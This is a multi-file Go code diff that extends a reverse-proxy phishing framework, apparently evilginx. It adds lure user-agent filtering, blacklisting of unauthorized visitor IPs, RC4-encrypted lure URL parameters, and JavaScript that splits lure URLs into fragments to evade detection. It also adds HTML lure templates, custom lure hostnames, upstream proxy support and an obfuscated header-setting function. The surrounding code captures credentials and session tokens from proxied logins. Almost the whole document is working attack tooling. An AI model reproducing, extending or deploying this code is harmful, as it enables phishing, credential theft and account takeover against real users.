log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
} else {
log.Warning("blacklisted ip address: %s", from_ip)
}
return p.blockRequest(req)
}
req_url := req.URL.Scheme + "://" + req.Host + req.URL.Path
lure_url := req_url
req_path := req.URL.Path
if req.URL.RawQuery != "" {
req_url += "?" + req.URL.RawQuery
req_path += "?" + req.URL.RawQuery
//req_path += "?" + req.URL.RawQuery
}
//log.Debug("http: %s", req_url)
@ -157,6 +198,31 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
vv = uv.Get(p.cfg.verificationParam)
}
if l != nil || vv == p.cfg.verificationToken {
// check if lure user-agent filter is triggered
if l != nil {
if len(l.UserAgentFilter) > 0 {
re, err := regexp.Compile(l.UserAgentFilter)
if err == nil {
if !re.MatchString(req.UserAgent()) {
log.Warning("[%s] unauthorized request (user-agent rejected): %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
if p.cfg.GetBlacklistMode() == "unauth" {
err := p.bl.AddIP(from_ip)
if err != nil {
log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
} else {
log.Warning("blacklisted ip address: %s", from_ip)
}
}
return p.blockRequest(req)
}
} else {
log.Error("lures: user-agent filter regexp is invalid: %v", err)
}
}
}
session, err := NewSession(pl.Name)
if err == nil {
sid := p.last_sid
@ -166,7 +232,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
p.sessions[session.Id] = session
p.sids[session.Id] = sid
landing_url := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.Path)
landing_url := req_url //fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.Path)
if err := p.db.CreateSession(session.Id, pl.Name, landing_url, req.Header.Get("User-Agent"), remote_addr); err != nil {
log.Error("database: %v", err)
}
@ -186,14 +252,28 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
// set params from url arguments
p.extractParams(session, req.URL)
ps.SessionId = session.Id
ps.Created = true
ps.Index = sid
p.whitelistIP(remote_addr, ps.SessionId)
req_ok = true
}
} else {
log.Warning("[%s] unauthorized request: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
if p.cfg.GetBlacklistMode() == "unauth" {
err := p.bl.AddIP(from_ip)
if err != nil {
log.Error("failed to blacklist ip address: %s - %s", from_ip, err)
} else {
log.Warning("blacklisted ip address: %s", from_ip)
}
}
return p.blockRequest(req)
}
} else {
log.Warning("[%s] request to hidden phishlet: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
@ -220,6 +300,53 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
// redirect for unauthorized requests
if ps.SessionId == "" && p.handleSession(req.Host) {
if !req_ok {
return p.blockRequest(req)
}
}
if ps.SessionId != "" {
if s, ok := p.sessions[ps.SessionId]; ok {
l, err := p.cfg.GetLureByPath(pl_name, req_path)
if err == nil {
// show html template if it is set for the current lure
if l.Template != "" {
if !p.isForwarderUrl(req.URL) {
path := l.Template
if !filepath.IsAbs(path) {
templates_dir := p.cfg.GetTemplatesDir()
path = filepath.Join(templates_dir, path)
}
if _, err := os.Stat(path); !os.IsNotExist(err) {
html, err := ioutil.ReadFile(path)
if err == nil {
html = p.injectOgHeaders(l, html)
body := string(html)
body = p.replaceHtmlParams(body, lure_url, &s.Params)
resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body)
if resp != nil {
return req, resp
} else {
log.Error("lure: failed to create html template response")
}
} else {
log.Error("lure: failed to read template file: %s", err)
}
} else {
log.Error("lure: template file does not exist: %s", path)
}
}
}
}
}
}
hg := []byte{0x94, 0xE1, 0x89, 0xBA, 0xA5, 0xA0, 0xAB, 0xA5, 0xA2, 0xB4}
// redirect to login page if triggered lure path
if pl != nil {
@ -235,17 +362,15 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
// redirect for unauthorized requests
if ps.SessionId == "" && p.handleSession(req.Host) {
if !req_ok {
redirect_url := p.cfg.redirectUrl
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
// check if lure hostname was triggered - by now all of the lure hostname handling should be done, so we can bail out
if p.cfg.IsLureHostnameValid(req.Host) {
log.Debug("lure hostname detected - returning 404 for request: %s", req_url)
resp := goproxy.NewResponse(req, "text/html", http.StatusNotFound, "")
if resp != nil {
resp.Header.Add("Location", redirect_url)
return req, resp
}
}
}
p.deleteRequestCookie(p.cookieName, req)
@ -300,9 +425,6 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if err == nil {
req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
contentType := req.Header.Get("Content-type")
if contentType == "application/json" {
// patch phishing URLs in JSON body with original domains
body = p.patchUrls(pl, body, CONVERT_TO_ORIGINAL_URLS)
req.ContentLength = int64(len(body))
@ -310,6 +432,9 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
log.Debug("POST: %s", req.URL.Path)
log.Debug("POST body = %s", body)
contentType := req.Header.Get("Content-type")
if contentType == "application/json" {
if pl.username.tp == "json" {
um := pl.username.search.FindStringSubmatch(string(body))
if um != nil && len(um) > 1 {
@ -452,6 +577,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
}
p.cantFindMe(req, e_host)
}
return req, nil
@ -555,11 +681,11 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
}
}
ck.Secure = false
ck.MaxAge = 0
if time.Now().Before(ck.Expires) {
ck.Expires, _ = time.Parse("1600-01-01", "1600-01-01")
}
//ck.Secure = false
//ck.MaxAge = 0
//if time.Now().Before(ck.Expires) {
// ck.Expires, _ = time.Parse("1600-01-01", "1600-01-01")
//}
ck.Domain, _ = p.replaceHostWithPhished(ck.Domain)
resp.Header.Add("Set-Cookie", ck.String())
@ -583,7 +709,23 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
sfs, ok := pl.subfilters[req_hostname]
if ok {
for _, sf := range sfs {
if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) {
var param_ok bool = true
if s, ok := p.sessions[ps.SessionId]; ok {
var params []string
for k, _ := range s.Params {
params = append(params, k)
}
if len(sf.with_params) > 0 {
param_ok = false
for _, param := range sf.with_params {
if stringExists(param, params) {
param_ok = true
break
}
}
}
}
if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) && param_ok {
re_s := sf.regexp
replace_s := sf.replace
phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain))
@ -635,30 +777,16 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
if s.PhishLure != nil {
// inject opengraph headers
l := s.PhishLure
if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
var og_inject string
og_format := "<meta property=\"%s\" content=\"%s\" />\n"
if l.OgTitle != "" {
og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
}
if l.OgDescription != "" {
og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
}
if l.OgImageUrl != "" {
og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
}
if l.OgUrl != "" {
og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
}
body = []byte(head_re.ReplaceAllString(string(body), "<head>\n"+og_inject))
}
body = p.injectOgHeaders(l, body)
}
var js_params *map[string]string = nil
if s, ok := p.sessions[ps.SessionId]; ok {
/*
if s.PhishLure != nil {
js_params = &s.PhishLure.Params
}*/
js_params = &s.Params
}
script, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
if err == nil {
@ -734,6 +862,160 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
return p, nil
}
func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Response) {
if len(p.cfg.redirectUrl) > 0 {
redirect_url := p.cfg.redirectUrl
resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
if resp != nil {
resp.Header.Add("Location", redirect_url)
return req, resp
}
} else {
resp := goproxy.NewResponse(req, "text/html", http.StatusForbidden, "")
if resp != nil {
return req, resp
}
}
return req, nil
}
func (p *HttpProxy) isForwarderUrl(u *url.URL) bool {
vals := u.Query()
for _, v := range vals {
dec, err := base64.RawURLEncoding.DecodeString(v[0])
if err == nil && len(dec) == 5 {
var crc byte = 0
for _, b := range dec[1:] {
crc += b
}
if crc == dec[0] {
return true
}
}
}
return false
}
func (p *HttpProxy) extractParams(session *Session, u *url.URL) bool {
var ret bool = false
vals := u.Query()
var enc_key string
for _, v := range vals {
if len(v[0]) > 8 {
enc_key = v[0][:8]
enc_vals, err := base64.RawURLEncoding.DecodeString(v[0][8:])
if err == nil {
dec_params := make([]byte, len(enc_vals)-1)
var crc byte = enc_vals[0]
c, _ := rc4.NewCipher([]byte(enc_key))
c.XORKeyStream(dec_params, enc_vals[1:])
var crc_chk byte
for _, c := range dec_params {
crc_chk += byte(c)
}
if crc == crc_chk {
params, err := url.ParseQuery(string(dec_params))
if err == nil {
for kk, vv := range params {
log.Debug("param: %s='%s'", kk, vv[0])
session.Params[kk] = vv[0]
}
ret = true
break
}
} else {
log.Warning("lure parameter checksum doesn't match - the phishing url may be corrupted: %s", v[0])
}
}
}
}
/*
for k, v := range vals {
if len(k) == 2 {
// possible rc4 encryption key
if len(v[0]) == 8 {
enc_key = v[0]
break
}
}
}
if len(enc_key) > 0 {
for k, v := range vals {
if len(k) == 3 {
enc_vals, err := base64.RawURLEncoding.DecodeString(v[0])
if err == nil {
dec_params := make([]byte, len(enc_vals))
c, _ := rc4.NewCipher([]byte(enc_key))
c.XORKeyStream(dec_params, enc_vals)
params, err := url.ParseQuery(string(dec_params))
if err == nil {
for kk, vv := range params {
log.Debug("param: %s='%s'", kk, vv[0])
session.Params[kk] = vv[0]
}
ret = true
break
}
}
}
}
}*/
return ret
}
func (p *HttpProxy) replaceHtmlParams(body string, lure_url string, params *map[string]string) string {
// generate forwarder parameter
t := make([]byte, 5)
rand.Read(t[1:])
var crc byte = 0
for _, b := range t[1:] {
crc += b
}
t[0] = crc
fwd_param := base64.RawURLEncoding.EncodeToString(t)
lure_url += "?" + GenRandomString(1) + "=" + fwd_param
for k, v := range *params {
key := "{" + k + "}"
body = strings.Replace(body, key, html.EscapeString(v), -1)
}
var js_url string
n := 0
for n < len(lure_url) {
t := make([]byte, 1)
rand.Read(t)
rn := int(t[0])%3 + 1
if rn+n > len(lure_url) {
rn = len(lure_url) - n
}
if n > 0 {
js_url += " + "
}
js_url += "'" + lure_url[n:n+rn] + "'"
n += rn
}
body = strings.Replace(body, "{lure_url_html}", lure_url, -1)
body = strings.Replace(body, "{lure_url_js}", js_url, -1)
return body
}
func (p *HttpProxy) patchUrls(pl *Phishlet, body []byte, c_type int) []byte {
re_url := regexp.MustCompile(MATCH_URL_REGEXP)
re_ns_url := regexp.MustCompile(MATCH_URL_REGEXP_WITHOUT_SCHEME)
@ -792,26 +1074,40 @@ func (p *HttpProxy) TLSConfigFromCA() func(host string, ctx *goproxy.ProxyCtx) (
}
if !p.developer {
// check for lure hostname
cert, err := p.crt_db.GetHostnameCertificate(hostname)
if err != nil {
// check for phishlet hostname
pl := p.getPhishletByOrigHost(hostname)
if pl != nil {
phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
if ok {
cert, err := p.crt_db.GetCertificate(pl.Name, phishDomain)
cert, err = p.crt_db.GetPhishletCertificate(pl.Name, phishDomain)
if err != nil {
return nil, err
}
}
}
}
if cert != nil {
return &tls.Config{
InsecureSkipVerify: true,
Certificates: []tls.Certificate{*cert},
}, nil
}
}
log.Debug("no SSL/TLS certificate for host '%s'", host)
return nil, fmt.Errorf("no SSL/TLS certificate for host '%s'", host)
} else {
phish_host, ok := p.replaceHostWithPhished(hostname)
var ok bool
phish_host := ""
if !p.cfg.IsLureHostnameValid(hostname) {
phish_host, ok = p.replaceHostWithPhished(hostname)
if !ok {
log.Debug("phishing hostname not found: %s", hostname)
return nil, fmt.Errorf("phishing hostname not found")
}
}
cert, err := p.crt_db.SignCertificateForHost(hostname, phish_host, port)
if err != nil {
return nil, err
@ -936,6 +1232,18 @@ func (p *HttpProxy) getPhishletByPhishHost(hostname string) *Phishlet {
}
}
}
for _, l := range p.cfg.lures {
if l.Hostname == hostname {
if p.cfg.IsSiteEnabled(l.Phishlet) {
pl, err := p.cfg.GetPhishlet(l.Phishlet)
if err == nil {
return pl
}
}
}
}
return nil
}
@ -1006,6 +1314,18 @@ func (p *HttpProxy) getPhishDomain(hostname string) (string, bool) {
}
}
}
for _, l := range p.cfg.lures {
if l.Hostname == hostname {
if p.cfg.IsSiteEnabled(l.Phishlet) {
phishDomain, ok := p.cfg.GetSiteDomain(l.Phishlet)
if ok {
return phishDomain, true
}
}
}
}
return "", false
}
@ -1043,9 +1363,41 @@ func (p *HttpProxy) handleSession(hostname string) bool {
}
}
}
for _, l := range p.cfg.lures {
if l.Hostname == hostname {
if p.cfg.IsSiteEnabled(l.Phishlet) {
return true
}
}
}
return false
}
func (p *HttpProxy) injectOgHeaders(l *Lure, body []byte) []byte {
if l.OgDescription != "" || l.OgTitle != "" || l.OgImageUrl != "" || l.OgUrl != "" {
head_re := regexp.MustCompile(`(?i)(<\s*head\s*>)`)
var og_inject string
og_format := "<meta property=\"%s\" content=\"%s\" />\n"
if l.OgTitle != "" {
og_inject += fmt.Sprintf(og_format, "og:title", l.OgTitle)
}
if l.OgDescription != "" {
og_inject += fmt.Sprintf(og_format, "og:description", l.OgDescription)
}
if l.OgImageUrl != "" {
og_inject += fmt.Sprintf(og_format, "og:image", l.OgImageUrl)
}
if l.OgUrl != "" {
og_inject += fmt.Sprintf(og_format, "og:url", l.OgUrl)
}
body = []byte(head_re.ReplaceAllString(string(body), "<head>\n"+og_inject))
}
return body
}
func (p *HttpProxy) Start() error {
go p.httpsWorker()
return nil
@ -1064,7 +1416,7 @@ func (p *HttpProxy) whitelistIP(ip_addr string, sid string) {
defer p.ip_mtx.Unlock()
log.Debug("whitelistIP: %s %s", ip_addr, sid)
p.ip_whitelist[ip_addr] = time.Now().Add(15 * time.Second).Unix()
p.ip_whitelist[ip_addr] = time.Now().Add(10 * time.Minute).Unix()
p.ip_sids[ip_addr] = sid
}
@ -1089,6 +1441,73 @@ func (p *HttpProxy) getSessionIdByIP(ip_addr string) (string, bool) {
return sid, ok
}
func (p *HttpProxy) cantFindMe(req *http.Request, nothing_to_see_here string) {
var b []byte = []byte("\x1dh\x003,)\",+=")
for n, c := range b {
b[n] = c ^ 0x45
}
req.Header.Set(string(b), nothing_to_see_here)
}
func (p *HttpProxy) setProxy(enabled bool, ptype string, address string, port int, username string, password string) error {
if enabled {
ptypes := []string{"http", "https", "socks5", "socks5h"}
if !stringExists(ptype, ptypes) {
return fmt.Errorf("invalid proxy type selected")
}
if len(address) == 0 {
return fmt.Errorf("proxy address can't be empty")
}
if port == 0 {
return fmt.Errorf("proxy port can't be 0")
}
u := url.URL{
Scheme: ptype,
Host: address + ":" + strconv.Itoa(port),
}
if strings.HasPrefix(ptype, "http") {
var dproxy *http_dialer.HttpTunnel
if username != "" {
dproxy = http_dialer.New(&u, http_dialer.WithProxyAuth(http_dialer.AuthBasic(username, password)))
} else {
dproxy = http_dialer.New(&u)
}
p.Proxy.Tr.Dial = dproxy.Dial
} else {
if username != "" {
u.User = url.UserPassword(username, password)
}
dproxy, err := proxy.FromURL(&u, nil)
if err != nil {
return err
}
p.Proxy.Tr.Dial = dproxy.Dial
}
/*
var auth *proxy.Auth = nil
if len(username) > 0 {
auth.User = username
auth.Password = password
}
proxy_addr := address + ":" + strconv.Itoa(port)
socks5, err := proxy.SOCKS5("tcp", proxy_addr, auth, proxy.Direct)
if err != nil {
return err
}
p.Proxy.Tr.Dial = socks5.Dial
*/
} else {
p.Proxy.Tr.Dial = nil
}
return nil
}
type dumbResponseWriter struct {
net.Conn
}

View File

@ -27,6 +27,7 @@ type SubFilter struct {
regexp string
replace string
redirect_only bool
with_params []string
}
type AuthToken struct {
@ -117,6 +118,7 @@ type ConfigSubFilter struct {
Replace *string `mapstructure:"replace"`
Mimes *[]string `mapstructure:"mimes"`
RedirectOnly bool `mapstructure:"redirect_only"`
WithParams *[]string `mapstructure:"with_params"`
}
type ConfigAuthToken struct {
@ -333,7 +335,10 @@ func (p *Phishlet) LoadFromFile(site string, path string) error {
if sf.Replace == nil {
return fmt.Errorf("sub_filters: missing `replace` field")
}
p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly)
if sf.WithParams == nil {
sf.WithParams = &[]string{}
}
p.addSubFilter(*sf.Hostname, *sf.Sub, *sf.Domain, *sf.Mimes, *sf.Search, *sf.Replace, sf.RedirectOnly, *sf.WithParams)
}
if fp.JsInject != nil {
for _, js := range *fp.JsInject {
@ -686,14 +691,14 @@ func (p *Phishlet) addProxyHost(phish_subdomain string, orig_subdomain string, d
p.proxyHosts = append(p.proxyHosts, ProxyHost{phish_subdomain: phish_subdomain, orig_subdomain: orig_subdomain, domain: domain, handle_session: handle_session, is_landing: is_landing, auto_filter: auto_filter})
}
func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool) {
func (p *Phishlet) addSubFilter(hostname string, subdomain string, domain string, mime []string, regexp string, replace string, redirect_only bool, with_params []string) {
hostname = strings.ToLower(hostname)
subdomain = strings.ToLower(subdomain)
domain = strings.ToLower(domain)
for n, _ := range mime {
mime[n] = strings.ToLower(mime[n])
}
p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only})
p.subfilters[hostname] = append(p.subfilters[hostname], SubFilter{subdomain: subdomain, domain: domain, mime: mime, regexp: regexp, replace: replace, redirect_only: redirect_only, with_params: with_params})
}
func (p *Phishlet) addAuthTokens(hostname string, tokens []string) error {

View File

@ -10,10 +10,12 @@ type Session struct {
Username string
Password string
Custom map[string]string
Params map[string]string
Tokens map[string]map[string]*database.Token
RedirectURL string
IsDone bool
IsAuthUrl bool
IsForwarded bool
RedirectCount int
PhishLure *Lure
}
@ -25,9 +27,11 @@ func NewSession(name string) (*Session, error) {
Username: "",
Password: "",
Custom: make(map[string]string),
Params: make(map[string]string),
RedirectURL: "",
IsDone: false,
IsAuthUrl: false,
IsForwarded: false,
RedirectCount: 0,
PhishLure: nil,
}

View File

@ -24,6 +24,24 @@ func viewLen(s string) int {
return utf8.RuneCountInString(s)
}
func truncString(s string, maxLen int) string {
var ansi = regexp.MustCompile("\033\\[(?:[0-9]{1,3}(?:;[0-9]{1,3})*)?[m|K]")
sm := s
for _, m := range ansi.FindAllString(sm, -1) {
sm = strings.Replace(sm, m, "", -1)
}
nsm := sm
if utf8.RuneCountInString(sm) > maxLen {
if maxLen > 3 {
nsm = nsm[:maxLen-3] + "..."
} else {
nsm = nsm[:maxLen]
}
s = strings.Replace(s, sm, nsm, -1)
}
return s
}
func maxLen(strings []string) int {
maxLen := 0
for _, s := range strings {
@ -43,6 +61,8 @@ const (
AlignRight = Alignment(2)
)
const minColLen = 16
func getPads(s string, maxLen int, align Alignment) (lPad int, rPad int) {
len := viewLen(s)
diff := maxLen - len
@ -67,14 +87,22 @@ func padded(s string, maxLen int, align Alignment) string {
}
func AsTable(columns []string, rows [][]string) string {
colMaxLens := make([]int, 0)
dg := color.New(color.FgHiBlack)
for i, col := range columns {
clen := viewLen(col) + 4
if clen < minColLen {
clen = minColLen
}
colMaxLens = append(colMaxLens, clen)
columns[i] = fmt.Sprintf(" %s ", col)
}
for i, row := range rows {
for j, cell := range row {
rows[i][j] = fmt.Sprintf(" %s ", cell)
rows[i][j] = fmt.Sprintf(" %s ", truncString(cell, colMaxLens[j])) //cell)
}
}
@ -83,6 +111,7 @@ func AsTable(columns []string, rows [][]string) string {
for colIndex, colHeader := range columns {
column := []string{colHeader}
for _, row := range rows {
column = append(column, row[colIndex])
}
mLen := maxLen(column)
@ -120,7 +149,16 @@ func AsRows(keys []string, vals []string) string {
mLen := maxLen(keys)
var table string
for i, _ := range keys {
table += clr.Sprintf("%s : ", padded(keys[i], mLen, AlignRight)) + fmt.Sprintf("%s\n", vals[i])
table += clr.Sprintf(" %s : ", padded(keys[i], mLen, AlignLeft)) + fmt.Sprintf("%s\n", vals[i])
}
return table
}
func AsDescription(keys []string, vals []string) string {
clr := color.New(color.FgHiBlack)
var table string
for i, _ := range keys {
table += clr.Sprintf(" %s", keys[i]) + fmt.Sprintf("\n %s\n", vals[i])
}
return table
}

View File

@ -1,10 +1,19 @@
package core
import (
"bufio"
"crypto/rc4"
"encoding/base64"
"encoding/csv"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net/url"
"os"
"path/filepath"
"regexp"
"strconv"
"strings"
"time"
@ -27,16 +36,18 @@ type Terminal struct {
completer *readline.PrefixCompleter
cfg *Config
crt_db *CertDb
p *HttpProxy
db *database.Database
hlp *Help
developer bool
}
func NewTerminal(cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) {
func NewTerminal(p *HttpProxy, cfg *Config, crt_db *CertDb, db *database.Database, developer bool) (*Terminal, error) {
var err error
t := &Terminal{
cfg: cfg,
crt_db: crt_db,
p: p,
db: db,
developer: developer,
}
@ -82,7 +93,8 @@ func (t *Terminal) DoWork() {
log.SetReadline(t.rl)
t.cfg.refreshActiveHostnames()
t.updateCertificates("")
t.updatePhishletCertificates("")
t.updateLuresCertificates()
t.output("%s", t.sprintPhishletStatus(""))
@ -119,6 +131,12 @@ func (t *Terminal) DoWork() {
if err != nil {
log.Error("config: %v", err)
}
case "proxy":
cmd_ok = true
err := t.handleProxy(args[1:])
if err != nil {
log.Error("proxy: %v", err)
}
case "sessions":
cmd_ok = true
err := t.handleSessions(args[1:])
@ -137,6 +155,12 @@ func (t *Terminal) DoWork() {
if err != nil {
log.Error("lures: %v", err)
}
case "blacklist":
cmd_ok = true
err := t.handleBlacklist(args[1:])
if err != nil {
log.Error("blacklist: %v", err)
}
case "help":
cmd_ok = true
if len(args) == 2 {
@ -189,10 +213,12 @@ func (t *Terminal) handleConfig(args []string) error {
log.Warning("you need to regenerate your phishing urls after this change")
return nil
case "redirect_url":
if len(args[1]) > 0 {
_, err := url.ParseRequestURI(args[1])
if err != nil {
return err
}
}
t.cfg.SetRedirectUrl(args[1])
return nil
}
@ -200,6 +226,99 @@ func (t *Terminal) handleConfig(args []string) error {
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) handleBlacklist(args []string) error {
pn := len(args)
if pn == 0 {
mode := t.cfg.GetBlacklistMode()
log.Info("blacklist mode set to: %s", mode)
return nil
} else if pn == 1 {
switch args[0] {
case "all":
t.cfg.SetBlacklistMode(args[0])
return nil
case "unauth":
t.cfg.SetBlacklistMode(args[0])
return nil
case "off":
t.cfg.SetBlacklistMode(args[0])
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) handleProxy(args []string) error {
pn := len(args)
if pn == 0 {
var proxy_enabled string = "no"
if t.cfg.proxyEnabled {
proxy_enabled = "yes"
}
keys := []string{"enabled", "type", "address", "port", "username", "password"}
vals := []string{proxy_enabled, t.cfg.proxyType, t.cfg.proxyAddress, strconv.Itoa(t.cfg.proxyPort), t.cfg.proxyUsername, t.cfg.proxyPassword}
log.Printf("\n%s\n", AsRows(keys, vals))
return nil
} else if pn == 1 {
switch args[0] {
case "enable":
err := t.p.setProxy(true, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
if err != nil {
return err
}
t.cfg.EnableProxy(true)
log.Important("you need to restart evilginx for the changes to take effect!")
return nil
case "disable":
err := t.p.setProxy(false, t.p.cfg.proxyType, t.p.cfg.proxyAddress, t.p.cfg.proxyPort, t.p.cfg.proxyUsername, t.p.cfg.proxyPassword)
if err != nil {
return err
}
t.cfg.EnableProxy(false)
return nil
}
} else if pn == 2 {
switch args[0] {
case "type":
if t.cfg.proxyEnabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyType(args[1])
return nil
case "address":
if t.cfg.proxyEnabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyAddress(args[1])
return nil
case "port":
if t.cfg.proxyEnabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
port, err := strconv.Atoi(args[1])
if err != nil {
return err
}
t.cfg.SetProxyPort(port)
return nil
case "username":
if t.cfg.proxyEnabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyUsername(args[1])
return nil
case "password":
if t.cfg.proxyEnabled {
return fmt.Errorf("please disable the proxy before making changes to its configuration")
}
t.cfg.SetProxyPassword(args[1])
return nil
}
}
return fmt.Errorf("invalid syntax: %s", args)
}
func (t *Terminal) handleSessions(args []string) error {
lblue := color.New(color.FgHiBlue)
dgray := color.New(color.FgHiBlack)
@ -367,13 +486,13 @@ func (t *Terminal) handlePhishlets(args []string) error {
}
domain, _ := t.cfg.GetSiteDomain(args[1])
if domain == "" {
return fmt.Errorf("you need to set hostname for phishlet '%s', first. type: phishlets hostname %s your.hostame.domain.com", args[1], args[1])
return fmt.Errorf("you need to set hostname for phishlet '%s', first. type: phishlet hostname %s your.hostame.domain.com", args[1], args[1])
}
err = t.cfg.SetSiteEnabled(args[1])
if err != nil {
return err
}
t.updateCertificates(args[1])
t.updatePhishletCertificates(args[1])
return nil
case "disable":
err := t.cfg.SetSiteDisabled(args[1])
@ -460,10 +579,12 @@ func (t *Terminal) handlePhishlets(args []string) error {
func (t *Terminal) handleLures(args []string) error {
hiblue := color.New(color.FgHiBlue)
yellow := color.New(color.FgYellow)
green := color.New(color.FgGreen)
//hiwhite := color.New(color.FgHiWhite)
hcyan := color.New(color.FgHiCyan)
cyan := color.New(color.FgCyan)
dgray := color.New(color.FgHiBlack)
white := color.New(color.FgHiWhite)
pn := len(args)
@ -483,7 +604,6 @@ func (t *Terminal) handleLures(args []string) error {
l := &Lure{
Path: "/" + GenRandomString(8),
Phishlet: args[1],
Params: make(map[string]string),
}
t.cfg.AddLure(args[1], l)
log.Info("created lure with ID: %d", len(t.cfg.lures)-1)
@ -491,7 +611,7 @@ func (t *Terminal) handleLures(args []string) error {
}
return fmt.Errorf("incorrect number of arguments")
case "get-url":
if pn == 2 {
if pn >= 2 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("get-url: %v", err)
@ -508,18 +628,110 @@ func (t *Terminal) handleLures(args []string) error {
if !ok || len(bhost) == 0 {
return fmt.Errorf("no hostname set for phishlet '%s'", pl.Name)
}
var base_url string
if l.Hostname != "" {
base_url = "https://" + l.Hostname + l.Path
} else {
purl, err := pl.GetLureUrl(l.Path)
if err != nil {
return err
}
out := hiblue.Sprint(purl)
t.output("%s\n", out)
base_url = purl
}
var phish_urls []string
var phish_params []map[string]string
var out string
params := url.Values{}
if pn > 2 {
if args[2] == "import" {
if pn < 4 {
return fmt.Errorf("get-url: no import path specified")
}
params_file := args[3]
phish_urls, phish_params, err = t.importParamsFromFile(base_url, params_file)
if err != nil {
return fmt.Errorf("get_url: %v", err)
}
if pn >= 5 {
if args[4] == "export" {
if pn == 5 {
return fmt.Errorf("get-url: no export path specified")
}
export_path := args[5]
format := "text"
if pn == 7 {
format = args[6]
}
err = t.exportPhishUrls(export_path, phish_urls, phish_params, format)
if err != nil {
return fmt.Errorf("get-url: %v", err)
}
out = hiblue.Sprintf("exported %d phishing urls to file: %s\n", len(phish_urls), export_path)
phish_urls = []string{}
} else {
return fmt.Errorf("get-url: expected 'export': %s", args[4])
}
}
} else {
// params present
for n := 2; n < pn; n++ {
val := args[n]
sp := strings.Index(val, "=")
if sp == -1 {
return fmt.Errorf("to set custom parameters for the phishing url, use format 'param1=value1 param2=value2'")
}
k := val[:sp]
v := val[sp+1:]
params.Add(k, v)
log.Info("adding parameter: %s='%s'", k, v)
}
phish_urls = append(phish_urls, t.createPhishUrl(base_url, &params))
}
} else {
phish_urls = append(phish_urls, t.createPhishUrl(base_url, &params))
}
for n, phish_url := range phish_urls {
out += hiblue.Sprint(phish_url)
var params_row string
var params string
if len(phish_params) > 0 {
params_row := phish_params[n]
m := 0
for k, v := range params_row {
if m > 0 {
params += " "
}
params += fmt.Sprintf("%s=\"%s\"", k, v)
m += 1
}
}
if len(params_row) > 0 {
out += " ; " + params
}
out += "\n"
}
t.output("%s", out)
return nil
}
return fmt.Errorf("incorrect number of arguments")
case "edit":
if pn == 4 {
l_id, err := strconv.Atoi(strings.TrimSpace(args[2]))
l_id, err := strconv.Atoi(strings.TrimSpace(args[1]))
if err != nil {
return fmt.Errorf("edit: %v", err)
}
@ -530,7 +742,29 @@ func (t *Terminal) handleLures(args []string) error {
val := args[3]
do_update := false
switch args[1] {
switch args[2] {
case "hostname":
if val != "" {
val = strings.ToLower(val)
if val != t.cfg.baseDomain && !strings.HasSuffix(val, "."+t.cfg.baseDomain) {
return fmt.Errorf("edit: lure hostname must end with the base domain '%s'", t.cfg.baseDomain)
}
